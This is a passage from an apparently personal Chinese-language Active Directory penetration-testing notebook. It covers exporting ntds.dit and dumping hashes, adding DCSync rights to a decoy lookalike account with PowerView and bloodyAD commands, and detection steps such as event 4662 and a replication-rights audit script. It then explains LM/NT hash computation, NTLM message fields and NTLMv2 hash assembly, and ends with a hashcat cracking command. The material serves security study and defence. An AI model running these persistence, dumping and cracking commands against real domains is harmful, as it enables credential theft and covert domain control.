拿 Shell 后通过 VSS 导出 ntds 数据库,传到攻击机上,配合 impacket-secretsdump 来读取其他域账户 NT hash。

怎么把这个数据库传出来是个问题,因为数据库大点,通常至少几十 MB,通过 Socks 代理传出来很可能不稳定,几乎无法操作。在实际中可以把文件传到边界机器上,从能出网的机器上下载会好些,怎么传到边界机器?只要对方加了域,我有了域控机器 Shell,通过这个 Shell 就能访问任何一台加了域的 Windows 机器默认文件共享(比如 C$),那就可以把文件移动到其它机器共享上。

如果数据库拖不出来,就只能上传工具到域控,把数据库解析结果这个文本文件,通过压缩加密传出来。

2.权限维持

使用域管账户给某个不常用的域用户添加同步权限。也可以先查哪些域账户有同步权限,再通过名称混淆来降低警惕,比如查到 zhanghao 有这个权限,那可以创建个 zhangha0 用户给他添加权限。

# PowerView 给 zhangha0 用户添加 DCSync 权限
Add-ObjectACL -TargetDistinguishedName "DC=raingray,DC=com" -PrincipalSamAccountName zhangha0 -Rights DCSync -Verbose

# PowerView 删除 zhangha0 用户 DCSync 权限
Remove-DomainObjectAcl -TargetIdentity "DC=raingray,DC=com" -PrincipalIdentity zhangha0 -Rights DCSync -Verbose

# bloodyAD(Kali 下有这个工具,还支持 Socks)给 zhangha0 用户添加 DCSync 权限
bloodyAD --host <DC IP> -d <Domain FQDN> -u zhangha0 -p :<NT Hash> add dcsync

# bloodyAD 给 zhangha0 用户删除 DCSync 权限
bloodyAD --host <DC IP> -d <Domain FQDN> -u zhangha0 -p :<NT Hash> remove dcsync

也尝试过给普通机器账户添加了权限,测试结果输出用户名或密码错误,在开头就讲过,只有域控机器账户有这个权限能这么做。

三、防御

同步数据会产生 ID 为 4662 的事件:

1.DC IP 白名单

因为要复制数据的 DC 都是固定的 IP 和 MAC,可以在 DC 设置白名单,只要 IP 不在 "Replication Allow List" (DC IPs list) 中的网络请求就是恶意攻击,这完全可以在网络流量上检查出来。

PowerShell Active Directory module cmdlet:

Get-ADDomainController -filter * | select IPv4Address

PowerShell:

[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().DomainControllers | select IPAddress

Nslookup (if DC runs DNS):

nslookup  
Set type=all  
_ldap._tcp.dc._msdcs.DOMAIN.COM

Mimikatz DCSync Usage, Exploitation, and Detection – Active Directory Security

具体流量:

2.定期搜索域中有哪些用户拥有复制数据的权限。

域控上可以通过 ActiveDirectory 查看哪些用户有这个 GUID,就能确定是否有 DCSync 权限。

#Get all permissions in the domain, filtered to the two critical replication permissions represented by their GUIDs
Import-Module ActiveDirectory
cd 'AD:DC=raingray,DC=com' # Replace with distinguished name of your domain
$AllReplACLs = (Get-AcL).Access | Where-Object {$_.ObjectType -eq '1131f6ad-9c07-11d1-f79f-00c04fc2dcd2' -or $_.ObjectType -eq '1131f6aa-9c07-11d1-f79f-00c04fc2dcd2'}

#Filter this list to RIDs above 1000 which will exclude well-known Administrator groups
foreach ($ACL in $AllReplACLs)
{
    $user = New-Object System.Security.Principal.NTAccount($ACL.IdentityReference)
    $SID = $user.Translate([System.Security.Principal.SecurityIdentifier])
    $RID = $SID.ToString().Split("-")[7]
    if([int]$RID -gt 1000)
    {
        Write-Host "Permission to Sync AD granted to:" $ACL.IdentityReference
    }
}

Stealing User Passwords with Mimikatz DCSync

3.11 DCShadow🔨

3.12 DACL Abuse⚒️

先说明什么是 ACL、DACL、ACE。

后面介绍 DACL 怎么从 Active Directory Delegation Wizard 配置。

https://techcommunity.microsoft.com/t5/security-compliance-and-identity/active-directory-access-control-list-8211-attacks-and-defense/ba-p/250315

3.13 Zerologon Privilege Escalation(CVE-2020-1472)⚒️

3.14 ADCS Privilege Escalation(CVE-2022-26923)⚒️

https://research.ifcr.dk/certifried-active-directory-domain-privilege-escalation-cve-2022-26923-9e098fe298f4

https://tryhackme.com/room/cve202226923

https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf
https://posts.specterops.io/certified-pre-owned-d95910965cd2

https://www.netstarsec.com/adcs%e7%9f%a5%e8%af%86%e7%82%b9%e5%85%a8%e6%94%b6%e5%bd%95%ef%bc%81-%e5%a6%82%e4%bd%95%e5%88%a9%e7%94%a8%e8%af%81%e4%b9%a6%e6%9c%8d%e5%8a%a1%e5%99%a8%e5%af%b9%e5%9f%9f%e6%8e%a7%e8%bf%9b%e8%a1%8c-3/
https://www.netstarsec.com/netstar%e5%87%ba%e5%93%81-%e4%b8%80%e6%9c%ac%e5%85%b3%e4%ba%8eadcs%e6%9c%80%e9%80%9a%e4%bf%97%e7%9a%84%e6%8a%80%e6%9c%af%e8%af%bb%e7%89%a9part-iv%ef%bc%9aesc11-13/

pass

4 NTLM

4.1 Windows 认证概要

讨论 NTLM 前得了解 Windows 有哪些认证方式,目前为了方便归类将其分为本地登录、网络认证两种,什么登陆卡、生物认证不做主要区分。

这些认证方式可能会公用一些认证协议,比如 Kerberos、NTLM 等等,应用通过调用 Security Support Provider Interface(SSPI)) 来使用这些协议,这就不需要应用开发者了解更多协议细节去实现整个协议过程就可以方便使用它。

那到底是谁去实现了这些协议呢?当应用调用 SSPI 最终会访问到 Security Support Provider(SSP),SSP 实现了这些协议,在 Windows 系统这些 SSP 作为 dll 存在对应文件夹:

  • NTLM,%Windir%\System32\msv1_0.dll
  • Kerberos,%Windir%\System32\kerberos.dll
  • ......

Security Support Provider Interface Architecture.jpg

https://learn.microsoft.com/en-us/windows-server/security/windows-authentication/security-support-provider-interface-architecture

本地认证:LM hash 和 NT hash 计算过程

Windows Hash 分 LM(LAN Manager)和 NT(New Technology)两种,不同系统上使用的 Hash 不同,在古早的版本上会使用 LM hash,从 Windows Vista 和 Windows Server 2008 开始能见到的都是 NT hash。

系统名称LM hashNT hash
Windows 2000
Windows XP
Windows Server 2003
Windows Vista
Windows 7
Windows Server 2008
Windows Server 2012

在本地登录账户的本地认证和后面的 NTLM 网络认证会用到 NT hash,这里以本地登录为例看 NT hash 作用。用户的登录界面由 winlogon.exe 创建 logonui.exe 的展示登录界面,winlogon.exe 从 logonui.exe 收到用户输入的明文密码调用 lsass.exe 认证方法,将密码计算为 NT hash 与 %SystemRoot%\System32\Config\SAM 数据库对比,一致则登录成功,此密码会在 lsass.exe 进程内存中明文存在。

一、LM hash

使用明文 raingray 举例,看 LM hash 计算过程。

1.先将明文密码全部转成大写

RAINGRAY

如果密码存在数字,就不做处理。数字没法转大写。

2.将大写密码转为十六进制

5241494e47524159

如果十六进制不满足 14-byte,就在尾部填充 0。要注意十六进制是 1 个 char 是 4-bit,2 个 char 算 1-byte,这里只有 8-byte 因此需要补充 6-byte 的 0。

5241494e47524159000000000000

3.把十六进制密码以 7-byte 为一组共分为两组

要注意十六进制是 1 个 char 是 4-bit,因此需要 2 个 char 才能算 1-byte。分完组如下。

5241494e475241
59

会发现分完组后,另一个组还不满 7-byte,需往开头填充 0x00。

59000000000000

最终完成分组。

5241494e475241
59000000000000

4.将分组十六进制转换成二进制位

将分组的每个字节转成二进制。最后 7-byte 最后应该转换成 56-bit。这里还是要啰嗦一句,十六进制是每两个字符是 1-byte。

这里转换如果不会计算也不用担心,可以使用 Windows 计算器来辅助完成。从图中可以看到选中十六进制(HEX)输入 72,得到二进制(BIN)01110010,右键对着二进制值即可复制。

Windows 计算器计算进制转换.png

分组 5241494e475241 转换。

十六进制:    52       41       49       4e       47       52       41
二进制:01010010 01000001 01001001 01001110 01000111 01010010 01000001

分组 59000000000000 转换。

十六进制:    59       00       00       00       00       00       00
二进制:01011001 00000000 00000000 00000000 00000000 00000000 00000000

4.将二进制数据转换成十六进制

首先将每组二进制按照 7-bit 为一组,总共能分 16 组。

01010010 01000001 01001001 01001110 01000111 01010010 01000001 二进制分组。

0101001
0010000
0101001
0010100
1110010
0011101
0100100
1000001

01011001 00000000 00000000 00000000 00000000 00000000 00000000 二进制分组。

0101100
1000000
0000000
0000000
0000000
0000000
0000000
0000000

分组完成在末尾为添加一个校验位 0。

01010010
00100000
01010010
00101000
11100100
00111010
01001000
10000010

01011000
10000000
00000000
00000000
00000000
00000000
00000000
00000000

添加完成将这二进制转回十六进制。

52205228E43A4882

5880000000000000

5.加密

使用 DES 对称加密算法 ECB 模式加密明文 KGS!@#$%,Key 是第 4 步最后还原的两组十六进制字符。

from Cryptodome.Cipher import DES
from binascii import a2b_hex, b2a_hex


def encrypt(key, plaintext):
    key = a2b_hex(key)
    des = DES.new(key, DES.MODE_ECB)
    encrypto_msg = des.encrypt(bytes(plaintext, 'utf-8'))
    
    return b2a_hex(encrypto_msg).upper()


lmHashLeft = encrypt('52205228E43A4882', 'KGS!@#$%').decode('utf-8')
lmHashRight = encrypt('5880000000000000', 'KGS!@#$%').decode('utf-8')
print(lmHashLeft, lmHashRight)

使用 Key 加密后得到密文。

76250D0C4130D85E B79AE2610DD89D4C

最终将两次加密结果拼接得到 LM-Hash。

76250D0C4130D85EB79AE2610DD89D4C

快速验证可以用 Python 的 passlib 库来计算。

┌──(root㉿raingray)-[~]
└─# python3 -c 'from passlib.hash import lmhash;print(lmhash.hash("raingray").upper())'
76250D0C4130D85EB79AE2610DD89D4C

或者使用 daiker 提供的脚本下断点直观的调试整个计算过程。

import re
import binascii
from pyDes import *

def DesEncrypt(str, Des_Key):
    k = des(binascii.a2b_hex(Des_Key), ECB, pad=None)
    EncryptStr = k.encrypt(str)
    result = binascii.b2a_hex(EncryptStr)
    return result
    
def group_just(length,text):
    # text '01010010010000010100100101001110010001110101001001000001'
    text_area = re.findall(r'.{%d}' % int(length), text) # ['0101001', '0010000', '0101001', '0010100', '1110010', '0011101', '0100100', '1000001']
    text_area_padding = [i + '0' for i in text_area] # ['01010010', '00100000', '01010010', '00101000', '11100100', '00111010', '01001000', '10000010']
    hex_str = ''.join(text_area_padding) # '0101001000100000010100100010100011100100001110100100100010000010'
    hex_int = hex(int(hex_str, 2))[2:].rstrip("L") # '52205228e43a4882'
    if hex_int == '0':
        hex_int = '0000000000000000'
    return hex_int

def lm_hash(password):
    # 1. 用户的密码转换为大写,密码转换为16进制字符串,不足14字节将会用0来再后面补全。
    pass_hex = password.upper().encode().hex().ljust(28,'0') #5241494e47524159000000000000
    print("1. Hex:" + pass_hex) 
    
    # 2. 密码的16进制字符串被分成两个7byte部分。每部分转换成比特流,并且长度位56bit,长度不足使用0在左边补齐长度
    left_str = pass_hex[:14] #5241494e475241
    right_str = pass_hex[14:] #59000000000000
    print("2. Left Padding:" + left_str)
    print("2. Right Padding:" + right_str)

    left_stream = bin(int(left_str, 16)).lstrip('0b').rjust(56, '0') # 01010010010000010100100101001110010001110101001001000001
    right_stream = bin(int(right_str, 16)).lstrip('0b').rjust(56, '0') # 01011001000000000000000000000000000000000000000000000000
    print("3. Left Stream:" + left_stream)
    print("3. Right Stream:" + right_stream)

    # 3. 再分7bit为一组,每组末尾加 0,再转回十六进制再组成一组
    left_stream = group_just(7,left_stream) # 52205228e43a4882
    right_stream = group_just(7,right_stream) # 5880000000000000
    print("4. Left Stream Group:" + left_stream)
    print("4. Right Stream Group:" + right_stream)

    # 4. 上步骤得到的二组,分别作为key 为 "KGS!@#$%"进行DES加密。
    left_lm = DesEncrypt('KGS!@#$%',left_stream) # 52205228e43a4882
    right_lm = DesEncrypt('KGS!@#$%',right_stream) # 5880000000000000
    print('5. Left LM-Hash: ' + str(left_lm, encoding='utf-8'))
    print('5. Right LM-Hash: ' + str(right_lm, encoding='utf-8'))
    
    # 5. 将加密后的两组拼接在一起,得到最终 LM hash 值。
    return left_lm + right_lm

if __name__ == '__main__':
    hash = lm_hash("raingray")
    print("6. LM-Hash Result:" + str(hash, encoding='utf-8'))

https://daiker.gitbook.io/windows-protocol/ntlm-pian/4#1.-lm-hash

二、NT hash

具体存在什么问题导致 LM hash 被弃用呢?维基百科上找到一些说法,根本上是容易被彩虹表或者破解出密码。

  1. 不区分大小写。ASCII 可输入字符只有 94 个,减去 26 个小写字母,只有 68 个可用。
  2. 密码长度 ≤ 7,第二个分组 Key 肯定都是 0。这样计算出来的是固定值 AAD3B435B51404EE。根据此特征一眼就知道密码长度。
  3. 密码长度 > 14 会计算失败。DES Key 必须要求为 8-byte。而使用 15 个数字则没问题,大于 15 则计算失败,这是因为第四步转成十六进制时会大于 8-byte,而 DES 要求 Key 是 8-byte,会报错。

因此 LM hash 废弃后,推出新的加密方案 NT hash 作为替代——这在后面 NTLM 认证 也会用到。Windows 上 SAM 数据库存储的就是 NT hash(但是也有称呼为 NTLM-Hash,这种说法并不准确,但是有部分人群喜欢把 NT hash 和 NTLM-Hash 指成同一个东西,为了准确还是叫 NT hash 好些)。NT hash 计算方式也很简单,使用 MD4 做摘要 MD4(UTF-16-LE(password))

1.把明文密码转换成 Unicode 的 UTF-16-LE 编码

string = "password".encode('utf_16_le')

2.把 Unicode 密码使用 MD4 进行哈希摘要运算

hashlib.new('md4', string).hexdigest()

对明文 password 快速计算为 NT hash。

┌──(root㉿raingray)-[~]
└─# python3 -c 'from passlib.hash import nthash;print(nthash.hash("password").upper())'
8846F7EAEE8FB117AD06BDD830B7586C

┌──(root㉿raingray)-[~]
└─# python3 -c 'from hashlib import new; string="password".encode("utf_16_le"); print(new("md4", string).hexdigest().upper())'
8846F7EAEE8FB117AD06BDD830B7586C

NT hash 没加 salt,还是可以用彩虹表撞出明文。

网络认证:NTLM 认证过程

除了本地认证中系统存储密码哈希用 NT hash,在 NTLM 认证过程中也要用到 NT hash。

网络上的应用也能用 NTLM 协议做网络认证,比如使用共享连接其他机器需要输入账户才能使用(NTLM 协议),或者使用域账户登录机器(Kerberos 协议)。在实际使用中,如今微软也不推荐使用 NTLM 做身份认证,而是首推 Kerberos,只是为了兼容部分场景没有完全禁用,由于只讲 NTLM,这里先忽略 Kerberos。

NTLM 不像 HTTP 或者其它协议有独立的交互过程和状态管控,它需要被其他应用协议通过 API 调用起来使用。比如在使用 HTTP 访问应用时,对方应用要求使用 NTLM 认证,所有 NTLM 的认证信息其实是放在 HTTP 请求里的,有可能是放在请求头或者请求体中。换其它应用也是一样,比如 SMB,NTLM 也是被包含在 SMB 消息某个字段里。

因此这些应用在网络上传递的 Hash 也称作 NTLM hash。NTLM 有俩版本 NTLMv1、NTLMv2,大家也有简称为 Net-NTLMv1、Net-NTLMv2,防止混淆概念,本文如果要区分版本这里以 NTLMv1、NTLMv2 为准,只是提到 NTLM 协议身份验证就称呼 NTLM。根据现在 NTLM 版本来看 NTLMv2 是主流,除非主动降级使用其他版本。

NTLM 基于 Challenge/Response(质询/响应)的认证模式,就是你问我答,只有回答正确了才算认证成功。下面以交互式认证,这种输入密码的方式举例认证过程:

NTLM 认证过程.svg

  1. 协商:客户端告诉服务端希望怎么进行认证是采用 NTLMv1 还是 NTLMv2,以及需不需要加签这种内容。
  2. 质询:服务器根据客户端要求的内容评估能不能满足,把能满足的内容形成清单返回。这一阶段生成 8-byte 随机数(这里是 NTLMv1 版本的长度,NTLMv2 是 16-byte),称为 Challenge,并将其发送给客户端。
  3. 认证:客户端拿用户密码哈希对这个 Challenge 进行加密(这样可以避免明文密码或密码哈希在网络中明文传输),这个加密的内容称为 Response(如果非要区分版本就写成 NTLMv1 Response、NTLMv2 Response)。连同 Response、域名、主机名、用户名发送给服务器。
  4. 服务端处理认证信息

    4.1 如果是域认证,服务器使用 Netlogon 协议向域控制器发送以下 3 项:

    • 用户名
    • 向客户端发送的 Challenge
    • 从客户端收到的 Response

    域控制器根据用户名从 NTDS.dit 中检索用户密码的 NT hash,使用这个密码 hash 来加密 Challenge。域控制器自己对 Challenge 加密,再与客户端计算的结果进行比较,如果它们相同,认证成功。在图中是第 4、5 步。

    4.2 如果是工作组认证,也是一样,只不过不用转发了,直接在本地 SAM(Security Account Manager Database,安全帐户管理器数据库)查找用户的 NT hash,进行加密比对。

https://learn.microsoft.com/en-us/windows/win32/secauthn/microsoft-ntlm
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-apds/5bfd942e-7da5-494d-a640-f269a0e3cc5d

怎么进行的问答呢?客户端先发用户名告诉服务器要做认证,后面服务器就生成伪随机数给客户端说你把这个伪随机数加密下,一会儿我验证看对不对,这是服务端在质询。客户端就用户自己密码哈希加密伪随机数发给服务器,这是响应。只要服务器自己加密一遍伪随机数,去跟客户端发过来的结果做个对比,一致就认为认证成功。

了解了大致过程再次通过抓包直观看整个信息,实验通过搭建 SMB 共享,访问共享时 WireShark 抓包,使用 ntlmssp 筛选器过滤出 NTLM 认证。实验环境信息如下:

详细来说整个 NTLM 认证分为协商、质询和认证三个过程。以 NTLM 域认证.pcapng 开始介绍整个细节。

1.NEGOTIATE_MESSAGE

客户端向服务端发起认证,第一步先做协商,下图是协商消息结构,会对每个字段一一介绍。

NEGOTIATE_MESSAGE 结构.png

这里以文档叫法为主,对 WireShark 字段一个个作解释:

  • Signature,值占 8-byte 字符数组,存 ASCII 字符,十六进制是 0x4e544c4d53535000。NTLMSSP identifier: NTLMSSP。
  • MessageType,值占 4-byte,设置为 0x00000001 代表这是条协商消息。NTLM Message Type: 0x00000001。
  • NegotiateFlags,值占 4-byte,每个 bit 状态设置为 0 代表 Not set,1 是 Set。这段内容建议查看 NEGOTIATE 文档说明,官方文档每个 flag 解释很清晰。

    Negotiate Flags:
    1... .... .... .... .... .... .... .... = Negotiate 56: Set
    .1.. .... .... .... .... .... .... .... = Negotiate Key Exchange: Set
    ..1. .... .... .... .... .... .... .... = Negotiate 128: Set
    ...0 .... .... .... .... .... .... .... = Negotiate 0x10000000: Not set
    .... 0... .... .... .... .... .... .... = Negotiate 0x08000000: Not set
    .... .0.. .... .... .... .... .... .... = Negotiate 0x04000000: Not set
    .... ..1. .... .... .... .... .... .... = Negotiate Version: Set
    .... ...0 .... .... .... .... .... .... = Negotiate 0x01000000: Not set
    .... .... 0... .... .... .... .... .... = Negotiate Target Info: Not set
    .... .... .0.. .... .... .... .... .... = Request Non-NT Session: Not set
    .... .... ..0. .... .... .... .... .... = Negotiate 0x00200000: Not set
    .... .... ...0 .... .... .... .... .... = Negotiate Identify: Not set
    .... .... .... 1... .... .... .... .... = Negotiate Extended Security: Set
    .... .... .... .0.. .... .... .... .... = Target Type Share: Not set
    .... .... .... ..0. .... .... .... .... = Target Type Server: Not set
    .... .... .... ...0 .... .... .... .... = Target Type Domain: Not set
    .... .... .... .... 1... .... .... .... = Negotiate Always Sign: Set
    .... .... .... .... .0.. .... .... .... = Negotiate 0x00004000: Not set
    .... .... .... .... ..0. .... .... .... = Negotiate OEM Workstation Supplied: Not set
    .... .... .... .... ...0 .... .... .... = Negotiate OEM Domain Supplied: Not set
    .... .... .... .... .... 0... .... .... = Negotiate Anonymous: Not set
    .... .... .... .... .... .0.. .... .... = Negotiate NT Only: Not set
    .... .... .... .... .... ..1. .... .... = Negotiate NTLM key: Set
    .... .... .... .... .... ...0 .... .... = Negotiate 0x00000100: Not set
    .... .... .... .... .... .... 1... .... = Negotiate Lan Manager Key: Set
    .... .... .... .... .... .... .0.. .... = Negotiate Datagram: Not set
    .... .... .... .... .... .... ..0. .... = Negotiate Seal: Not set
    .... .... .... .... .... .... ...1 .... = Negotiate Sign: Set
    .... .... .... .... .... .... .... 0... = Request 0x00000008: Not set
    .... .... .... .... .... .... .... .1.. = Request Target: Set
    .... .... .... .... .... .... .... ..1. = Negotiate OEM: Set
    .... .... .... .... .... .... .... ...1 = Negotiate UNICODE: Set
  • DomainNameFields,值占 8-byte。由于 NegotiateFlags 第 20 位 bit 名叫 NTLMSSP_NEGOTIATE_OEM_DOMAIN_SUPPLIED——Negotiate OEM Domain Supplied: Not set 未被设置,所以为空。另一个说法是 Version 字段有值才被设置为空。
  • WorkstationFields,值占 8-byte。因为 第 19 位 bit NTLMSSP_NEGOTIATE_OEM_WORKSTATION_SUPPLIED——Negotiate OEM Workstation Supplied: Not set 未被设置,所以为空,另一个为空的原因同 DomainNameFields。
  • Version,值占 8-byte,只有 NegotiateFlags 中 第 8 位 bit 名叫 NTLMSSP_NEGOTIATE_VERSION——Wireshark 中名为 Negotiate Version 被设置所以才有版本信息否则是空字节,这个信息用作调试用,正常认证过程被忽略不做处理。通过版本信息来看能得到系统版本,比如这里就是 Windows 10 系统 19041 版本。

2.CHALLENGE_MESSAGE

  • Signature,值占 8-byte 字符数组,这还是固定值 0x4e544c4d53535000。NTLMSSP identifier: NTLMSSP。
  • MessageType,值占 4-byte,值是 0x00000002 代表是当前消息是 CHALLENGE_MESSAGE。NTLM Message Type: NTLMSSP_CHALLENGE (0x00000002)。
  • TargetNameFields,占 8-byte,在 NegotiateFlags 字段中第 30 位 bit 被设置这里才有值。在包中是放在 TargetInfo 内,里面不管是服务器名 Target Name: RAINGRAY0,还有很多其他信息。
  • NegotiateFlags,值占 4-byte,和前面的协商 flag 一样。这里是告诉客户端服务端支持什么选项,能够支持的就 set。

    1... .... .... .... .... .... .... .... = Negotiate 56: Set
    .1.. .... .... .... .... .... .... .... = Negotiate Key Exchange: Set
    ..1. .... .... .... .... .... .... .... = Negotiate 128: Set
    ...0 .... .... .... .... .... .... .... = Negotiate 0x10000000: Not set
    .... 0... .... .... .... .... .... .... = Negotiate 0x08000000: Not set
    .... .0.. .... .... .... .... .... .... = Negotiate 0x04000000: Not set
    .... ..1. .... .... .... .... .... .... = Negotiate Version: Set
    .... ...0 .... .... .... .... .... .... = Negotiate 0x01000000: Not set
    .... .... 1... .... .... .... .... .... = Negotiate Target Info: Set
    .... .... .0.. .... .... .... .... .... = Request Non-NT Session: Not set
    .... .... ..0. .... .... .... .... .... = Negotiate 0x00200000: Not set
    .... .... ...0 .... .... .... .... .... = Negotiate Identify: Not set
    .... .... .... 1... .... .... .... .... = Negotiate Extended Security: Set
    .... .... .... .0.. .... .... .... .... = Target Type Share: Not set
    .... .... .... ..0. .... .... .... .... = Target Type Server: Not set
    .... .... .... ...1 .... .... .... .... = Target Type Domain: Set
    .... .... .... .... 1... .... .... .... = Negotiate Always Sign: Set
    .... .... .... .... .0.. .... .... .... = Negotiate 0x00004000: Not set
    .... .... .... .... ..0. .... .... .... = Negotiate OEM Workstation Supplied: Not set
    .... .... .... .... ...0 .... .... .... = Negotiate OEM Domain Supplied: Not set
    .... .... .... .... .... 0... .... .... = Negotiate Anonymous: Not set
    .... .... .... .... .... .0.. .... .... = Negotiate NT Only: Not set
    .... .... .... .... .... ..1. .... .... = Negotiate NTLM key: Set
    .... .... .... .... .... ...0 .... .... = Negotiate 0x00000100: Not set
    .... .... .... .... .... .... 0... .... = Negotiate Lan Manager Key: Not set
    .... .... .... .... .... .... .0.. .... = Negotiate Datagram: Not set
    .... .... .... .... .... .... ..0. .... = Negotiate Seal: Not set
    .... .... .... .... .... .... ...1 .... = Negotiate Sign: Set
    .... .... .... .... .... .... .... 0... = Request 0x00000008: Not set
    .... .... .... .... .... .... .... .1.. = Request Target: Set
    .... .... .... .... .... .... .... ..0. = Negotiate OEM: Not set
    .... .... .... .... .... .... .... ...1 = Negotiate UNICODE: Set
  • ServerChallenge,占比 8-byte ,是个随机数。NTLM Server Challenge: 95eece51c4e0df33。
  • Reserved,占比 8-byte,没有实际作用。Reserved: 0000000000000000。
  • TargetInfoFields,总共占比 8-byte,从 WireShark 来看这里写服务端的信息是由 AvId,AvLen,Value 组成。根据 AvId 值能够找到对应说明,比如第一个 Item 的 AvId 是 0x0002 占 2-byte,这代表 NetBIOS computer name,他的 AvLen 长度是 0x1200 占 2-byte,值是 RAINGRAY0 字节占比根据值动态扩展。

    Target Info
        Length: 188
        Maxlen: 188
        Offset: 74
        Attribute: NetBIOS domain name: RAINGRAY0
            Target Info Item Type: NetBIOS domain name (0x0002)
            Target Info Item Length: 18
            NetBIOS Domain Name: RAINGRAY0
        Attribute: NetBIOS computer name: WIN-08J3USI7CCN
            Target Info Item Type: NetBIOS computer name (0x0001)
            Target Info Item Length: 30
            NetBIOS Computer Name: WIN-08J3USI7CCN
        Attribute: DNS domain name: raingray.com
            Target Info Item Type: DNS domain name (0x0004)
            Target Info Item Length: 24
            DNS Domain Name: raingray.com
        Attribute: DNS computer name: WIN-08J3USI7CCN.raingray.com
            Target Info Item Type: DNS computer name (0x0003)
            Target Info Item Length: 56
            DNS Computer Name: WIN-08J3USI7CCN.raingray.com
        Attribute: DNS tree name: raingray.com
            Target Info Item Type: DNS tree name (0x0005)
            Target Info Item Length: 24
            DNS Tree Name: raingray.com
        Attribute: Timestamp
            Target Info Item Type: Timestamp (0x0007)
            Target Info Item Length: 8
            Timestamp: Nov 10, 2023 14:45:13.277288800 中国标准时间
        Attribute: End of list
            Target Info Item Type: End of list (0x0000)
            Target Info Item Length: 0
  • Version,与 NEGOTIATE_MESSAGE 的一样,是服务器系统版本。系统明明是 Windows Server 2019 这里显示是 10,不过版本号 17763 倒是正确。

3.AUTHENTICATE_MESSAGE

  • Signature 和 NEGOTIATE_MESSAGE、CHALLENGE_MESSAGE 一样。
  • MessageType,值占 4-byte,设置为 0x00000003 表明这条是认证消息。NTLM Message Type: NTLMSSP_AUTH (0x00000003)
  • LmChallengeResponseFields,占 8-byte,这里是说如果启用了 LM 认证就使用 LM 计算。Lan Manager Response: 000000000000000000000000000000000000000000000000 是 24-byte。
  • NtChallengeResponseFields,这就是用 NT Hash 加密后的 response,占 8-byte。NTLM Response: 40369679cf7969dfc0e6f9bc9e65ce7f01010000000000001872e674a113da01ac8993e9…

    NTLMv2 Response: 40369679cf7969dfc0e6f9bc9e65ce7f01010000000000001872e674a113da01ac8993e9…
        NTProofStr: 40369679cf7969dfc0e6f9bc9e65ce7f
        Response Version: 1
        Hi Response Version: 1
        Z: 000000000000
        Time: Nov 10, 2023 06:45:13.277288800 UTC
        NTLMv2 Client Challenge: ac8993e942a9a92c
        Z: 00000000
        Attribute: NetBIOS domain name: RAINGRAY0
        Attribute: NetBIOS computer name: WIN-08J3USI7CCN
        Attribute: DNS domain name: raingray.com
        Attribute: DNS computer name: WIN-08J3USI7CCN.raingray.com
        Attribute: DNS tree name: raingray.com
        Attribute: Timestamp
        Attribute: Flags
        Attribute: Restrictions
        Attribute: Channel Bindings
        Attribute: Target Name: cifs/192.168.52.133
        Attribute: End of list
        padding: 00000000

    DomainNameFields,占 8-byte,客户端发送当前域名信息到服务器。Domain name: RAINGRAY0。

  • UserNameFields,占 8-byte,客户端发送用户名信息到服务器,User name: wuhui。
  • WorkstationFields,占 8-byte,将系统主机名发送给服务器。Host name: DESKTOP-5T90749。
  • EncryptedRandomSessionKeyFields,占 8-byte,。Session Key: a2aab568c67e73df9ed644e24a0601e8。
  • NegotiateFlags,值占 4-byte,这里再次发送服务端支持的选项,表示客户端达成一致。
  • Version,值占 8-byte,和 NEGOTIATE_MESSAGE 中的一模一样。
  • MIC,值占 16-byte,使用 HMAC-MD5 哈希算法 EncryptedRandomSessionKeyFields 做为密钥对 NEGOTIATE_MESSAGE、CHALLENGE_MESSAGE、AUTHENTICATE_MESSAGE 消息进行哈希,产生的签名,用于保证消息完整性。

NTLMv2 Response 计算过于复杂,这里只是需要认识怎么组成的即可,下面是组成格式。

User::Domain:Server Challenge:HMAC-MD5(NTProfStr):Blob(without HMAC-MD5 NTProfStr)

User、Domain、NTProfStr、NTLMv2 Response 从 AUTHENTICATE_MESSAGE 里找即可。

AUTHENTICATE_MESSAGE 结构.png

Domain name: RAINGRAY0
User name: wuhui

HMAC-MD5(NTProfStr) 在 NTLMv2 Response 里。

response 中的 NTProfStr.png

NTProofStr: 40369679cf7969dfc0e6f9bc9e65ce7f

Blob(without HMAC-MD5 NTProfStr) 右键复制 NTLMv2 Response 整个值,再删除开头的 NTProfStr(40369679cf7969dfc0e6f9bc9e65ce7f)即可。

整个 response 内容.png

01010000000000001872e674a113da01ac8993e942a9a92c00000000020012005200410049004e004700520041005900300001001e00570049004e002d00300038004a0033005500530049003700430043004e00040018007200610069006e0067007200610079002e0063006f006d0003003800570049004e002d00300038004a0033005500530049003700430043004e002e007200610069006e0067007200610079002e0063006f006d00050018007200610069006e0067007200610079002e0063006f006d00070008001872e674a113da0106000400020000000800300030000000000000000000000000200000ad5e874fd560ec6ccd38a96bf607b40e7ee1e17b9e0b4885202299f77b5df8040a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00350032002e003100330033000000000000000000

Server Challenge 在 CHALLENGE_MESSAGE 中。

CHALLENGE_MESSAGE 中的 Challenge.png

NTLM Server Challenge: 95eece51c4e0df33

最后按照格式填充这些内容得到完整 NTLMv2 hash。

# NTLMv2 Hash Format
# User::Domain:Server Challenge:HMAC-MD5(NTProfStr):Blob(without HMAC-MD5 NTProfStr)
wuhui::RAINGRAY0:95eece51c4e0df33:40369679cf7969dfc0e6f9bc9e65ce7f:01010000000000001872e674a113da01ac8993e942a9a92c00000000020012005200410049004e004700520041005900300001001e00570049004e002d00300038004a0033005500530049003700430043004e00040018007200610069006e0067007200610079002e0063006f006d0003003800570049004e002d00300038004a0033005500530049003700430043004e002e007200610069006e0067007200610079002e0063006f006d00050018007200610069006e0067007200610079002e0063006f006d00070008001872e674a113da0106000400020000000800300030000000000000000000000000200000ad5e874fd560ec6ccd38a96bf607b40e7ee1e17b9e0b4885202299f77b5df8040a001000000000000000000000000000000000000900260063006900660073002f003100390032002e003100360038002e00350032002e003100330033000000000000000000

关于 NTLMv1 Hash 没提到过,这里只展示其格式,后续的抓包等内容有空再补上。

NTLMv1 Hash Format
UserName::HostName:LmChallengeResponse:NtChallengeResponse:Server Challenge

4.2 Crack NT hash 和 NTLMv1/v2 hash

1. NT hash 破解

hashcat 字典枚举。

hashcat -m 1000 nelly.hash 
/usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
hashcat (v6.2.5) starting

直接去 cmd5 查 NT hash 会更快一些,人家的库更大。

2.NTLMv1 hash 破解⚒️

